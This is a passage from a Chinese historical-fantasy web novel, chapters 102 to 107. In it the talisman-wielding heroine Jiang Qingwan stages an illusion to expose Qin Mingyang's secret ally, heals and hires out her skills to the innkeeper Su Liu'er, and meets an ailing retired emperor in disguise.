郭浩眼见事情已脱身,立刻大度的摆摆手。
“我们都是同窗,知道你看不起我才会处处针对我,算了,本世子心胸大,不与你计较。”
此举瞬间引得众人称赞。
苏巍川也欣慰的拍了拍他的肩膀。
“不愧是老侯爷的儿子,识大体,有胸襟。”
他说完又看向众人。
“诸位,今日宴席到此结束,本王就不送了,夏大人,你和令郎留一下。”
夏世辉此刻只觉天都塌了。
等着众人全都散去,噗通一声跪在了地上。
“老王爷,犬子罪不可恕,求您看在他是夏家独苗的份上,饶他一命,我愿肝脑涂地,为王爷马首是瞻。”
苏巍川却并没有回应他,而是走到了夏宇面前,微微俯下身。
“你刚刚说,不知道为何出现在了府外,也不记得这期间发生了什么,是吗?”
夏宇不明所以,胆怯的抬起头。
“王爷,我说的都是真的,我没有说谎。”
夏世辉气的要死。
“都到了这个时候,你还敢嘴硬,看我不打死你。”
他作势要动手,却被苏巍川拦下。
“我信他。”
夏世辉父子齐齐看着苏巍川,皆是一脸震惊。
“王爷,您……您信?”
夏世辉呆呆发问。
说实话,他都不信。
夏宇却激动起来。
“王爷,我说的句句属实。虽我未曾看到郭浩那厮点火烧祠堂,但是我就是觉得是他,您信我,立刻派兵将那厮给擒来知罪。”
他话音刚落,就被夏世辉一巴掌呼在头上。
他为官多年,脑子自然比夏宇转得快。
若是王爷想拿人,刚刚就不可能让郭浩走。
他拢了拢袖袍道,“王爷,下官以为,小侯爷性情顽劣,不知天高地厚,或许真的能做出此事,但目的为何,实难猜想,而且眼下证据不足。既然王爷愿意给犬子机会,信他所言,不如就让他将此事调查清楚,”
说着跪俯在地。
苏巍川直起身,眸色冷厉。
“老侯爷与本王曾同沐战场,无凭无据,本王不会伤及同僚。”
夏世辉心领神会。
“下官明白。”
说着拽着还一头雾水的夏宇匆匆走了。
府门外车马已经散去,二人上了车,夏世辉才道,“你明日去太学院后主动去找郭浩赔礼道歉。”
夏宇登时急红了脸。
“爹,王爷都信我,你为什么还不信我,我不去道歉。”
“啪!”
夏世辉气的一巴掌抽在他胳膊上。
“你懂个屁!王爷有心去查郭浩,针对的定然是郭家。你真以为王爷只是丢了九龙杯吗?”
夏宇也不是傻子。
此刻听出些意味,揉着胳膊道,“爹,你的意思是让我借着赔礼道歉的机会,接近郭浩?可我要调查什么?总不能直接问他有没有放火吧?”
“愚钝!”
夏世辉恨铁不成钢的点在他额头。
“你要摆好姿态正常与之交往,将他日常发生的事情记录好,交于为父,至于其他,你无需多问。”
……
另一边,苏巍川带着老仆来到了夏宇说过的被袭击的后巷。
空气中似乎还残留着黄符焚烧过的烟火味,很淡。
“王爷,真的有!”
老仆捧着混杂着泥土的符灰举到苏巍川面前。
苏巍川用指尖轻轻碾了碾符灰。
“的确是玄门道人的手段。时隔多年,黑鸦竟然再次出现,还直接闯进我的佛心堂盗走了大隋皇陵的地图,真是有趣。”
老仆心下诧异。
“王爷,若夏公子所言不虚,那遁走的盗贼和黑鸦都跟威远候府有关?”
苏巍川将手中符灰丢掉。
“有没有关系很快就会知晓,回府吧。”
……
后院内,老王妃受到了惊吓,气息不稳,歪在软榻上却迟迟不肯休息。
外面有小厮低头进来。
“老夫人,事情处理完了,王爷已经回了佛心堂,传话让您尽快修缮好祠堂。”
老王妃扶着近身伺候的嬷嬷直起身,有些急切道,“还说了其他什么话吗?”
小厮摇头。
“没有了。”
老王妃的脸上闪过一抹失望,整个人好像都老了几岁。
发生这么大的事情,府兵和暗卫全都去守佛心堂了,他却连来看看她都不肯。
二十年了。
那个女人死了二十年了!
他为她建了佛心堂,神神秘秘守了二十年,到底眼里还有没有她这个结发妻子!
“咳咳咳咳!”
她急火攻心,一口腥甜涌上喉咙。
苏容安等人惊呼出声,齐齐上前,却被老王妃抬手制止。
“我乏了,都散了吧。”
众人只得行礼离开。
出了院子,苏容安看向一旁的程氏,笑的鄙夷不屑。
“二妹,这些年你这脸皮是越发的厚了,若我大房出了这种丢人的事,早就找块豆腐撞死了。”
苏玉兰此刻像是一只斗败的公鸡,垂头耷拉脸的,哪还有之前的半点盛气凌人。
程氏怒其不争,拉着她就走。
苏青禾在后面娇声提醒。
“兰儿,等我和二皇子成婚的时候,你一定带着你夫君和你儿子来喝杯喜酒。”
苏玉兰被刺激的整个人都快疯了。
第103章 绣嫁衣
苏玉兰冲出苏府一眼看到守在马车边的秦明朗,伸手去掐他脖子。
“我怎么就选了你,我怎么就选了你!”
秦明朗也不躲,任由她掐的只咳嗽。
程氏上前将人拽开。
“兰儿,你还嫌今日丢的脸不够吗?安心回家,既然明朗已经入了苏家的门,将来的事,你祖父自有安排。”
苏玉兰失魂落魄的推开她。
踉踉跄跄的往前走。
“我才不要回秦家,我要回我的县主府。”
秦明朗眸光一闪,立刻躬身行礼。
“岳父岳母,小婿这几日左右是不能上值的,定会好好在县主府内守着她,任她打骂,哄到她消气为止,请二老放心。”
秦润也想去住县主府,却被秦明朗塞进了秦府的马车。
……
江清婉被郭浩送回王府后,刚想推门进去,院门就从里面被打开。
青穗一身夜行衣站在门内,冷冷地看着她。
片刻后直接跪在地上,从靴子里抽出匕首递了过来。
“出暗卫营的暗卫,没有回去的可能,若小姐不愿留我在身边,直说便是,一把匕首便可了结我性命免去一切麻烦,又何必编谎话诓骗于我。”
江清婉此刻困乏的厉害。
刚刚在车上碍于郭浩在没法睡,这会儿眼皮都睁不开了。
她抬手去扶青穗,却拽不动,只得道,“我今晚去了长安区的苏家,你应知道苏家在京城的地位,不愿你跟着,是不想牵连王府,并非故意骗你。”
青穗皱眉,感觉到抓着自己手腕的那只手都在发虚的轻颤。
她立刻起身扶住江清婉摇摇欲坠的身体。
“你受伤了?”
“没有,就是有点累了,扶我回房吧。”
青穗并不懂得怎么照顾人,忙去叫了莲儿过来伺候,自己杵在角落里一直盯着看。
见江清婉的确没有受外伤这才松了口气。
简单洗漱之后,江清婉就沉沉的睡了过去。
这一觉睡到了第二天的下午。
精神恢复过来,她饿的不行,叫来青穗让她去找莲儿那吃的进来,自己则靠在床边想事情。
她原本以为,苏巍川就是黑乌鸦背后的人。
可照寿宴那天的情景来看,却并不是。
之所以青穗看到黑乌鸦去了苏府,应该就是为了苏巍川密室里的东西。
那秦明朗为什么也会恰好出现在书房,难道跟黑乌鸦是一伙的?
他们到底在找什么?
她又想起了那个怪异的双龙头风水局沙盘,心里隐隐有些不安。
青穗很快端着两个馒头一碟小炒进来。
江清婉饿的厉害,当下起身,吃了几口忽地顿了顿。
“青穗,你去梳妆台取个帕子,再将笔墨拿来。”
青穗不明所以,却听话照做。
江清婉将筷子放下,狼毫笔沾了墨在粉白的帕子上写了一句话。
“找到秦明朗,将这东西偷偷给他,不要让第二个人知道。”
青穗点头,下意识收进怀里就要行动,走出两步又折返回来。
“你又要去哪里?”
江清婉咬着半截馒头一脸懵。
青穗冷着脸有些气恼,“我的任务是贴身保护你,别再用这种拙劣的手段把我支开。”
江清婉无语,咽下嘴里的饭菜道,“我没把你支开,快去做事,等你回来还得陪我赴约。”
见她神色不像有假。
青穗犹豫片刻再次强调。
“这是我最后一次信你,莫要再诓骗我。”
江清婉摆摆小手表示知道。
青穗无奈,转身匆匆离开。
她刚走,莲儿和李斗就回来了。
手里提着大包小包,显然买了很多东西。
“小姐你醒了。”
莲儿让李斗将东西都放在江清婉的房间里,看了眼桌上的饭菜不由咦了一声。
“奴婢在土瓮里留了包子温着,您怎么吃馒头?”
说完她忽地拍了下头。
“怪奴婢没跟青穗姑娘说,害的小姐自己炒菜,是奴婢的错。”
江清婉怔住。
看着快吃完的那碟菜,刚刚饿的太厉害没品出不同,这会儿才回味出,的确不是莲儿的手艺。
她不由笑了下。
“是青穗炒的。你都买了什么?”
莲儿立刻被转移了注意力,开心的将所有东西全部打开。
“小姐,虽然王府不缺别的,但是咱们也不能什么都不准备,鸳鸯枕头,嫁衣,绣鞋,还有男子的束腰,这些还是要小姐自己亲手做才能讨个彩头。”
江清婉盯着那一堆基本全是大红的材料皱了皱眉。
“谁要出嫁?”
莲儿捂嘴偷笑。
“当然是小姐你啊,奴婢让李斗去偷偷看过,王府那边可布置了好多东西。不过王爷有军务不在京中,想必过两日就会送聘书过来。”
那日在云家祖坟处,墨云寒亲口承认了二人的关系,莲儿再无半点怀疑,一心只想着到底该准备些什么东西才好。
“对了小姐,玉器店金饰店奴婢都去看过了,瞧见了不少顶顶好的款式,您得空去选一选。”
她喋喋不休的安排着事情。
江清婉总觉得这事有些乱,若当真要办婚事,墨云寒理应跟她说一声,就算他忙于政务没时间,宋玉书也理应来一趟。
“莲儿,你去前院请宋夫人过来,说我请她品茶。”
莲儿连连摆手。
“那怎么行啊,以前还好,现如今事情到了这个节骨眼上,按照大周礼制,男方没有三媒六聘亲自上门,您是不能去婆家的。”
她想了想又道,“虽说现在只是前后院,可规矩就是规矩。成婚是大事,还是莫要坏了规矩,事事求个吉祥为好。”
江清婉被她这紧张的样子整的异常无语。
莲儿见她吃完,手脚麻利的将碗碟收拾好,拿了一堆各色的丝线要她绣鸳鸯。
这时院门却被人从外面推开。
云筱然带着李嬷嬷和几个丫鬟小厮走了进来。
李斗立刻挡在前面。
莲儿也急急忙忙跑了出来,拽了下李斗防止他打人,这才冲着云筱然福了福身。
“王爷有令,未的允许不准任何人进后院打扰我家小姐,县主大人,您还是快快请回吧,莫要惹了王爷不快。”
云筱然这几日精神养的极好,又恰逢喜事,心愿即将达成,更是面若桃花般娇俏。
她看着院子里盛开的百花,笑盈盈的冲着依在门边的江清婉道,“江姐姐,你莫要误会,我不是来扰你清净的,我是来搬几盆花用用。”
江清婉皱眉。
莲儿急道,“县主大人,这些花都是王爷府的,若没有王爷同意,您不能搬。”
云筱然的心情极好,看都没看莲儿,目光依旧落在江清婉身上。
“都怪那天我在花房没有选到合适的花,可眼下实在着急要用,太后娘娘便准许我来这里搬几盆先用着,懿旨已经宣到了舅母那边,江姐姐若是不信尽可派人去问问。”
江清婉心里忽然生出一种感觉,前院的一切,是给云筱然准备的。
可细看之下,云筱然身上却又没有缔结连理的喜气。
“既然宋夫人同意,那你自便。”
她说完转身回房。
云筱然忽又道,“江姐姐,明日,我请你吃酒,你可一定不要离开王府。”
第104章 约见
云筱然离开后,莲儿很是不解。
“小姐,她刚刚说那话什么意思啊?是不是又要害您。”
江清婉看了眼桌上的红布。
心里刚刚一瞬间的不适已经消散,她忽然觉得很有趣。
世间情爱到底为何?
如傅安安的原谅,
如秦明朗的纠缠不甘,
如云筱然的执拗疯狂,
还有,死去多年却又执念不散的云杳杳。
好似情爱有万千种,却又似乎没有一种,能纯净的只剩情爱。
换成墨云寒,
他又会如何选?
“小姐,我们不管她,继续绣吧。”
江清婉在一堆布料中选了个暗红的缎面。
摸了摸质感,又从那堆丝线里选了一扎明黄颜色的绣线递给莲儿。
“我记得你绣工不错,给我绣个荷包,款式简单些就好。”
莲儿瞧了眼她腰间常年系上的那几个荷包。
从她跟在江清婉身边,那些荷包就在了。
边缘和上面的纹绣已经有些磨损。
“小姐要替换掉你那些荷包吗?”
江清婉下意识低头。
手指摸向荷包,轻轻碾了碾。
这几个全都是大师兄给她做的,上面是师父给她设计的符箓。
她很轻很轻的呼出一口气,抬眸道,
“不是,送人的,你做吧,做快些。”
说完转身去拿了纸笔画了一张符箓放在了莲儿面前。
“将这个绣在荷包的内层。”
莲儿这段时日见过江清婉画过不少这怪异的符,倒也没多想。
……
县主府内,
秦明朗被当下人一样指使了两天,这会儿正在后厨给苏玉兰炖燕窝。
回京以后的日子,他算是看明白了。
一个人只有自己有本事了,抓到了机会,攀上了高峰,才能真正的出人头地。
苏家的权势,对他只能是锦上添花,绝不可能雪中送炭。
他一定要抓住太后这条线。
正出神,忽觉身后有杀气,破空声几乎瞬间袭来。
他侧身避开,铮的一声。
一根筷子插着一块帕子刺进了他刚刚所占的地面。
他没有出声,迅速追出后厨环顾四周却没发现任何异常。
他以为是神秘人有事联系他。
立刻退回厨房将地上插着的帕子拽了下来,展开一看,脸色顿时的大喜。
又反复看了好几遍,忽地将帕子放到鼻尖深深的嗅了嗅。
目露痴迷。
他就知道。
江清婉根本放不下他。
青穗回到王府后院,莲儿的荷包也已经做好。
江清婉检查无误后,便带着青穗出了门。
莲儿急的在后面跳脚。
“小姐,嫁衣奴婢可以帮忙,鸳鸯枕您一定要亲手做啊。”
青穗闻言皱了皱眉,欲言又止。
她曾为王府暗卫,前院的事,的确瞒的很紧。
宋玉书谁都不说,只让准备东西。
王爷又外出未归,府中内务这些琐事,自不会往他耳朵里传。
但青穗毕竟是女子,更为敏锐。
她昨日坐在屋脊上,看到前院的风雅筑挂了红灯笼。
依照大周规制,就算是侧妃,也不可能住在妾室通房规格的风雅筑。
而大红布料,只有正妃才有资格用,莲儿准备的那些,都已经逾矩。
“怎么,没找到人?”
江清婉注意到她神情异常,侧头问了句。
青穗忙回神。
“找到了,帕子已经送到他手里,茶楼的包间也订好了。”
“那就好,走吧,咱们去茶楼。”
临时起意,青穗并没准备马车。
好在茶楼离长安区不远,江清婉刚刚吃过饭,倒也愿意走一走。
从后院巷子出长安区,最近的会经过王府正门。
鬼使神差的,青穗指了另一个方向。
“小姐走这边吧,这边人少。”
江清婉也未多想。
两个人出了长安区,刚穿过一条长街,忽听一声娇喝。
“敢骗老娘,找死!”
两道人影自屋脊之上飞掠而过。
速度太快,江清婉并没有看到是谁。
只是那个声音,莫名有些熟悉。
好像在什么地方听到过。
走了不到一炷香的时间,江清婉在订好的茶楼前的巷子停下。
“青穗,左手给我。”
青穗不解,却乖乖照做。
江清婉划破指尖在她掌心迅速画了一道金色的符箓。
光芒一闪即逝,鲜血如朱砂般凝固在皮肤上。
醒目诡异的纹路透着一种神秘的力量。
青穗感觉到一股很奇特的凉意在掌心蔓延。
她不由想起那根会翩然起飞的黑羽毛。
“小姐,这东西有什么神通?”
江清婉用帕子擦了擦指尖,勾了勾手让她附耳
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过去。
随即低语了几声。
青穗当下点点头迅速离开。
江清婉这才悠悠然往茶楼走,屏退了小厮,径直去了二楼的雅座包厢。
正准备推门,门就从里面被拉开。
一袭湖蓝长衫的秦明朗,冷峻之中尽显儒雅。
那双眼睛灼灼的盯着她,难掩兴奋。
“婉儿,我已等你多时。”
说着伸手就将她给拽了进去,急色的想将人摁在怀里亲,却**清婉灵活躲开。
感受着指尖肌肤的嫩滑。
秦明朗越发的心猿意马。
“婉儿,你能主动约我想见,显然已经相通,想要重新投入我的怀抱。既如此,你就不能怜我多年思念,先让我……”
江清婉实在恶心他再说出更露骨的话,转身冷道,“我来找你,是有事要问,你若是想做苟且之事,我即刻就走。”
看着她娇俏绝色的小脸挂着寒霜。
秦明朗虽心下不爽,却还是压住了情绪。
亲自煮了茶给江清婉倒了一杯。
“是不是九王因为那些坊间传闻跟你生了嫌隙?”
当初让秦润写了戏文传播出去只是其一,老王妃寿宴上闹得那一出,才是最重要的。
只有得了苏老王爷的首肯,那些朝臣才会暗中推波助澜。
墨云寒虽受宠,可若是扣上了在朝中结党、假借美色之名行打压异己之事,再加上他在军中的赫赫威信,皇上岂能不疑心针对。
“你想多了。”
江清婉将袖中的荷包拿出来放在桌上。
“里面有张护身符,我给你求的,你贴身带着吧,这是我最后一次救你。”
她说完就要离开。
秦明朗听得一头雾水,攥着荷包将人拦下。
“婉儿,你这话是什么意思?”
江清婉抬眸。
“你应该听旁人说过,我懂些玄学风水之术。”
这话,秦明朗的确听过。
但他从未高看过江清婉。
此刻心里却忽地生出些怪异之感。
“你真的会法术?”
“是。”江清婉神色坚定,“虽比不过真正的天师,但的确能比旁人看的到更多的东西。你现在身上的东西,就很不好。”
术法对于门外汉来说,都蒙着神秘诡谲的面纱。
一旦被提及,就会生出无数种怀疑的恐惧,并会不断在心中蔓延扩大。
秦明朗也不例外。
第105章 幻境
他亲眼见识过老树符水的能力,也见识过乌鸦幻化人形的神秘人,
这种怀疑就更添了几分惊悚之感。
他下意识摸了摸身上。
“有……有什么东西不好?”
江清婉煞有介事的摇了摇头。
“我看不出,但它能要了你的命。你虽负了我,可我们毕竟有过夫妻之缘,我能做的也就这么多了。”
她伸手去拉门。
这时一股冷风骤然袭来
紧跟着想追问清楚的秦明朗也察觉到了,心头一紧,下意识转头。
就看到熟悉的身影不知何时出现在厢房内,黑色的帷帽几乎垂到地上,依旧看不到样貌。
他心里慌得厉害。
江清婉却指着黑影惊呼出声。
“是他!”
秦明朗浑身发毛。
“你认识?”
江清婉急的瞪他。
“我岂会认识,应该是你认识吧。你身上不好的东西就源自于他,我能看得见。”
秦明朗心中的怀疑瞬间得到印证,他心里突突直跳。
神秘人忽地抬手,一只赤眼黑色乌鸦从掌中飞出,嘶哑着冲了过来。
秦明朗只觉脑袋一疼,整个身体跟着晃了晃。
下一刻熟悉的粗哑声音就冷冷响起。
“她必须死。我们之间的事情不能被第二个人知道!”
“啊!”
身后传来江清婉的惨叫声,似乎她的手拽住了他的衣襟。
“救我。”
混乱的画面和声音,秦明朗整个神魂都在动荡。
他紧绷着身体下意识开口。
“你别杀她。她什么都不知道。”
神秘人骤然袭到他眼前,手从他耳边伸到后方。
“咔嚓”
是脖子被捏碎的声音。
清晰的传进他耳朵里,秦明朗浑身僵硬,后背一阵又一阵发凉。
整个人却似被定住,根本动弹不懂。
无尽的恐惧袭来,更多的是一种难以纾解的愤怒。
他似乎看到了娇媚的江清婉脖子扭曲的尸体。
而下一刻,尸体的脸便成了他的。
神秘人的声音还在继续。
“我们的事,不能让任何人知道,所有知情人,都得死。你要舍不得,那死的就是你!”
秦明朗死死攥着双手。
眼里却流出泪来。
嘴里不停的解释着,
“我没有告诉她那个计划,我什么都没说。”
他耳边一遍又一遍响起重复的如鬼魅一般的话。
“她不死,死的就是你!”
“她不死,死的就是你!”
……
秦明朗的眼睛渐渐变得赤红。
他不能死。
他还有大好的前程。
只要将权力握在手中,将来还会有第二个第三个江清婉。
他整个变得疯魔,忽然胳膊上传来一阵刺疼。
视线一晃,他惊愕的发现自己正掐着江清婉的脖子发力。
掌心的温热和挣扎让他意识到江清婉并没有死,吓得赶紧松开。
江清婉举着带血的簪子大口的喘着气。
“你刚刚入了幻境!”
“什么?”
秦明朗此刻神志混乱,白着脸往后腿了两步,连胳膊上的伤都顾不得,只惊慌的四处查看。
那个神秘人早已不在。
江清婉将簪子丢在地上,捂着脖子依旧难掩害怕。
“秦明朗,幻境源自心魔,皆因你沾染了不好的东西,你好自为之吧。”
说完她拉开门匆匆走了。
这一次秦明朗没有追。
他还沉浸在刚刚幻境带来的惊惧之中。
茶楼后巷停着的马车内,
青穗已经脱掉了长长的黑色帷帽,看着江清婉脖子上醒目的掐痕,皱了皱眉,从怀里摸出金疮药递了过去。
“非要用这种法子吗?抓起来狠狠拷打一顿什么问不出来。”
江清婉看不清伤的具体位置。
微微扬起小脸,将金疮药又递了回去。
“你帮我涂。”
青穗看了看自己带着茧子的手,又看了看江清婉细滑如羊脂白玉的肌肤。
没好气的低语了一句。
“疼了别怪我。”
江清婉笑了下,没理这句,却是回答了她上一个问题。
“抓起来打一顿倒也不是不行,可蛇惊了,我还怎么抓?”
青穗不解。
“你让我穿着那身衣服出现在包间内,并朝着秦明朗隔空挥出一掌,他就忽然疯了一样,到底是怎么回事?”
将人拉入幻境,需要有一个实物做引子。
江清婉让青穗模仿暗渠中操纵黑乌鸦之人的形象,若秦明朗背后真是此人,他必入幻境,若不是,他一定会攻击青穗。
事实证明,秦明朗的确和此人在密谋什么。
今日这一出戏,她要的不仅仅是试探,还有在秦明朗心里种下怀疑的种子。
鹬蚌相争,她才更有机会挖出幕后的人,找到“镇妖”的真相。
“嘶,有点疼。”
她娇娇的皱了皱眉,本就漂亮的桃花眼蒙了水雾,盈盈的,波光潋滟般动人。
饶是青穗是个女子,对视的那一刻,心跳竟也控制不住加快。
真是个会勾人的妖精。
她红着脸将药膏丢给江清婉。
“我手粗,劲大,说了会疼。”
江清婉刚要说话,青穗忽然整个
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人变得紧绷。
可不等她抽出靴间**,一抹幽香已经袭入车内,伴随着浓重的血腥味。
江清婉刚刚涂了药的脖子被一只三角锥的暗器抵住。
“别动,否则杀了她!”
来人对着青穗狠厉威胁,“去赶车,往人多的地方走。”
青穗思考着一击致命的可能。
刚刚此人掠进来时的轻功不弱,她并不敢冒险。
江清婉却认出来人。
“你是淮楼的苏掌柜?”
苏柳儿怔住,猛地回头看向她,漂亮的眸子凝着,满眼的难以置信。
她带着黑丝面纱,与平日装扮不同,只余一双眼睛在外面。
鬼能认得出她啊。
江清婉却抬眸看向青穗。
“苏掌柜曾帮我解过围,你去外面赶车,往淮楼后门走,送掌柜的回去。”
听到“淮楼”的那一刻,青穗就已经卸下满身杀气,什么都没说撩开布帘离开。
马车也很快行驶起来,出了巷子,汇入了长街。
不远处的屋脊上,落下几道身影正四处查看。
江清婉的马车四周,缓缓升起一道金色的八卦阵,如莲花一般收紧包裹住所有的气息和血腥味。
那些人寻觅无踪很快离开。
车内,苏柳儿已经将面纱扯掉,整个人也放松下来。
“你怎么知道是我?”
江清婉道,“我会识人骨像,下次你可以带帷帽,这样我就认不出了。”
苏柳儿的嘴角狠狠抽了抽。
她带帷帽还怎么跟人干架。
收回三角锥,她靠在车厢解开了腰间的衣服。
猩红的伤口还在涓涓地流着血。
她忍不住低咒了一声。
江清婉将刚刚青穗扔在她怀里的金疮药递过去。
“需要我帮你包扎吗?”
苏柳儿觉得这女人当真是有些不寻常。
淮楼那次初见,她并没有什么好印象,却也记得面对郭浩那种混不吝的权贵公子,这女人没有半点惊慌。
即便是最后要追去画舫,也不见谄媚之色。
今日遇事,更是不慌不忙。
她拿起金疮药往伤口上涂抹,疼的脸都白了,却死咬着牙一声不吭。
看的江清婉都觉得头皮发麻。
这得多疼。
随意做了简单包扎,苏柳儿抬头看向江清婉。
“你就不怕我**灭口摸了你的脖子?这个距离,就算外面驾车的小丫头武功不错,也没有我快。”
江清婉将打开的金疮药重新封好。
随后从荷包里摸出一道空白符纸,简单刻画之后忽地伸手贴在了苏柳儿还未来得及放下衣衫遮挡的伤口上。
第106章 百两黄金
突如其来的动作,惊得苏柳儿差点叫出来,凶狠的一把攥住了她的手腕。
“你想干什么?”
“帮你止疼。”
江清婉任由她握着,眸色纯净。
“顺便帮你清一清你伤口上的死气,就当还你那日在淮楼帮我解围的人情。”
苏柳儿这才发现,伤口竟真的不疼了。
她松开手狐疑的低头查看,只见那处并没有黄色的符纸。
也不知那符纸去了何处。
她惊愕抬头。
“你懂术法?”
江清婉点点头。
“懂点皮**,伤你的武器应该是从**墓里挖出来的,死气入体,对你的气运会有影响。”
苏柳儿听得新奇。
“影响了会如何?”
江清婉想了想。
“可能会让淮楼赔钱。”
苏柳儿越发来了兴致。
“你还有什么别的本事?能寻宝吗?”
江清婉忽地想起之前去茶楼的路上听到的那个女声,联系到此刻的苏柳儿,约莫猜到了一些。
淮楼里常开竞宝大会。
有人拿着白花花的银子进去找宝贝,自然也有人偷偷花重金请人寻宝。
要维系淮楼的繁盛,宝物绝不能少,能让苏柳儿亲自出动的,定然不会是凡物。
而伤她的人用的兵器来自**墓。
或许这宝贝,也来自于墓中。
“挖坟掘墓这种事损阴德,我不接。”
苏柳儿眸光都亮了起来。
“你还真是有点本事。好,那我换个方式,寻人,我要把这群敢骗我的王八蛋一窝端了。你若是能帮我找到他们的老巢,我给你一百两黄金。”
江清婉眸子亮了亮。
金子,总归是比银子更有吸引力。
这桩买卖倒是可以聊一聊。
淮楼的后院厢房内,
苏柳儿衣衫半解,曼妙的身姿,妩媚的半躺在贵妃椅上。
一百两黄金摆在江清婉面前。
橙黄的小金条,很是好看。
江清婉颇为满意,摆手让青穗拿去车上,随后开始起卦。
“有没有那些人身上的东西,任何东西都行。”
苏柳儿想了想,指了指丢在一旁染血的铁针。
“他们用的暗器,可以吗?”
江清婉用清水洗过之后,将四根铁针依次放在桌上,四道符纸,震四方,起卦以后,她又从荷包里拿出一个柑橘大小的小罗盘。
其上纹路复杂,色泽如浸染了无数鲜血一般呈现黑褐色。
随着卦象的改变,罗盘上的针在不停的摆动。
江清婉拿起旁边的纸笔开始写。
罗盘寻人,有距离限制。
和血脉寻骨不同。
但更为详尽。
只要在距离范围以内,再对比京城地图,就能找的大差不差。
但有一点,不能受灵力干扰。
片刻后,江清婉结束卜卦,拿着手里写下的方位对比京城的地图,很快用指尖点了个位置。
“暗器之人,在此处。你若想找到他们的老巢,单单只有这一个人的暗器不行,最好再抓一人取到常用之物,两者路线交叉,方可寻到他们常驻的位置。”
苏柳儿已经来到她身边。
看着她点出的位置,缓缓勾起冷笑。
“那就先抓这一只。”
要不是惨遭暗算,她也不会败的这么狼狈。
“今日多谢江娘子,若有需要,我再派人去请你,价钱可以另算。”
江清婉将罗盘收好。
“放心,金子我不白收,只要你拿到我要的东西,地方我一定给你找到。”
她说完微微颔首转身往外走。
苏柳儿盯着她的背影瞧,直到人消失在门口才缓缓收回。
她似乎有点理解,墨云寒为何对江清婉有所不同。
自那日淮楼一见,她好奇打听过。
一个被人撵出家的下堂妇,又没有显赫的母家维护,竟可以活的这般自在随性,若非有大能,又岂能做到。
今日再见,倒真是让人刮目相看。
马车从淮楼后巷出来,刚往左边拐,江清婉就听见了钟大夫的声音,似是在跟人争执。
“你有银子吗你就进?你都不知道这里是干什么的,你赶紧跟我走。”
另一道声音耍着赖。
“我就要进,京城还有我不能进的地方。你当了那么多年神医,怎么那么穷,我不管,你去弄银子,今晚我必须进去。”
钟大夫气的脸红脖子粗。
“淮楼随便一件宝贝都要上千两,你杀了我我也没有!”
江清婉示意青穗将马车停过去,掀开侧边的布帘单手搭在窗边淡
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淡道,“今晚淮楼不竞宝。”
抓人要趁热。
苏柳儿绝对不会拖着,免得夜长梦多。
所以今晚,淮楼不会竞宝。
钟元愣了愣。
被他双手拽着的老者瞥了江清婉一眼。
“你怎么知道不竞宝,你是淮楼的掌柜?”
钟元表情怪异,赶紧收回手行了一礼。
“江娘子,好巧。”
老者眉角微挑,狐疑的看向钟元。
钟元狂使眼色。
老者的目光再次落在江清婉身上,骤然强大的威慑感,让坐在车辕上的青穗头皮发麻,下意识紧绷起身体,警惕四周。
江清婉被肆意打量的时候,也在打量着老者。
此人内里亏虚,已经油尽灯枯。
若不是周身淡淡的龙气滋养,他此刻怕早就入了土。
又是皇室中人。
她语气又冷淡了几分。
“你若不信可再等等。”
说着就想放下布帘离开。
老者却喊道,“你等会。”
不等江清婉有所反应,老者就走到了马车前。
“你就是钟元口中那位懂些术法的江娘子吧,倒是长得不错,你可懂看相卜卦?”
江清婉摇头。
“不懂。”
老者噎住。
钟元不是说此人有大能吗?怎么连看相卜卦都不会。
莫不是就仗着长了张好看的脸勾引了他的小九?
他语露嫌弃。
“那你会什么?”
江清婉笑容疏离。
“捉鬼祈福跳大绳,民间仙姑会的那些,我都会些。”
老者的嘴角忍不住抽了抽,极为不悦的回头看向钟元。
这会的都是什么破玩意。
钟元忙上前,冲着江清婉拱了拱手。
“江娘子,何家一事,我还未曾道谢,今日偶遇,老朽请你吃饭,就在前面的福园酒楼,如何?”
对于钟元,既是长者,又是善人。
江清婉不好拒绝。
她又看了眼那位气度非凡的老者。
想了想点了点头。
“那就让钟大夫破费了。”
长者相邀,岂有她坐马车让人走着的道理。
江清婉放下布帘用帕子改成丝巾系在脖子上遮住了掐痕,这才扶着青穗的手下了马车,陪着两人一起步行去了酒楼。
第107章 旧事
福园酒楼内,
钟元本想包个厢房说话。
可没料到要五十两。
他的回春堂本就是多救治普通百姓,盈利不多,刚刚又陪着太上皇逛了一圈。
许是在皇宫憋的太久,这次太上皇出门愣是一个人都不带。
不带人也就算了,还不带银子。
不带银子还见什么买什么。
钟元花钱花的肉疼,却又半点办法都没有。
将点的唯一一份肉菜放在了江清婉面前,而太上皇面前全是青菜。
绿油油的看的太上皇直瞪眼。
“老子又不是牛,我不吃这个,为什么没有酒,小二,上最好的酒。”
钟元根本拦不住。
“太……老爷子,您现在的身体,吃不了荤腥,更不能饮酒。”
太上皇瞥他一眼。
“我不喝酒,也不吃肉,能多活几天?”
一句话将钟元所有的劝说全部噎了回去。
江清婉倒是挺欣赏。
能将生死看淡的人不多。
在皇室中就更少。
否则也不会出现那么多皇帝密谋寻找长生之法的荒诞之事。
小二很快送来最好的梨花酿。
钟元急的想退掉。
江清婉却径直打开了塞子,亲自给太上皇倒了一碗。
“钟大夫,人活一世,最难得的便是自在从心,这顿我请。”
“小二,加一份烤乳鸽,一份清江鱼,一份辣炒黄鳝,一份西芹河蟹,再加一份冬瓜盅。”
小二开心的应声离开。
太上皇抿了口酒,贪婪的在唇齿之间回味。
片刻后睁开双眸,再次打量起江清婉。
“你当真不会相面?”
江清婉笑道,“若有银子赚,我也可以会,相面卜卦,信者信,不信者,便也没什么可信。”
太上皇听得愣了愣。
这不是随便说骗人吗?
他的手指摩挲着酒碗,眼底旋着复杂晦暗,声音幽幽,更像是自言自语。
“我曾见过一个很厉害的天师,她一眼便能看穿人心,读懂你心中所想,分毫不差。”
江清婉生出几分好奇。
刚要问问人在何处,老者的眸子忽地抬起直直看了过来。
“这样厉害的人,也会算不出自己的吉凶吗?”
江清婉的心头莫名颤了颤。
她能清晰的感觉到对方的悲伤,还夹杂着愤怒。
她沉声道,“卜卦着,不算自己,这是规矩,一旦去算自己的吉凶,命数会遭反噬而大改,也就是说,算了也是白算。”
老者依旧怔怔的盯着她。
仿佛想将她看穿一般。
“你听过……活人化妖吗?”
“砰!”
钟元手里的酒碗没抓好滚落到了地上。
他慌忙弯腰去捡。
太上皇回神,敛下眸子端起酒碗仰头喝干。
却又因为气息不稳开始咳嗽,一时间停都停不下来。
捂着嘴巴的手背上都染了些血。
钟元心急如焚,立刻伸手搭脉,却被太上皇避开。
他急的跺脚,眼眶都是红的。
“我说了您不能喝酒不能喝酒!”
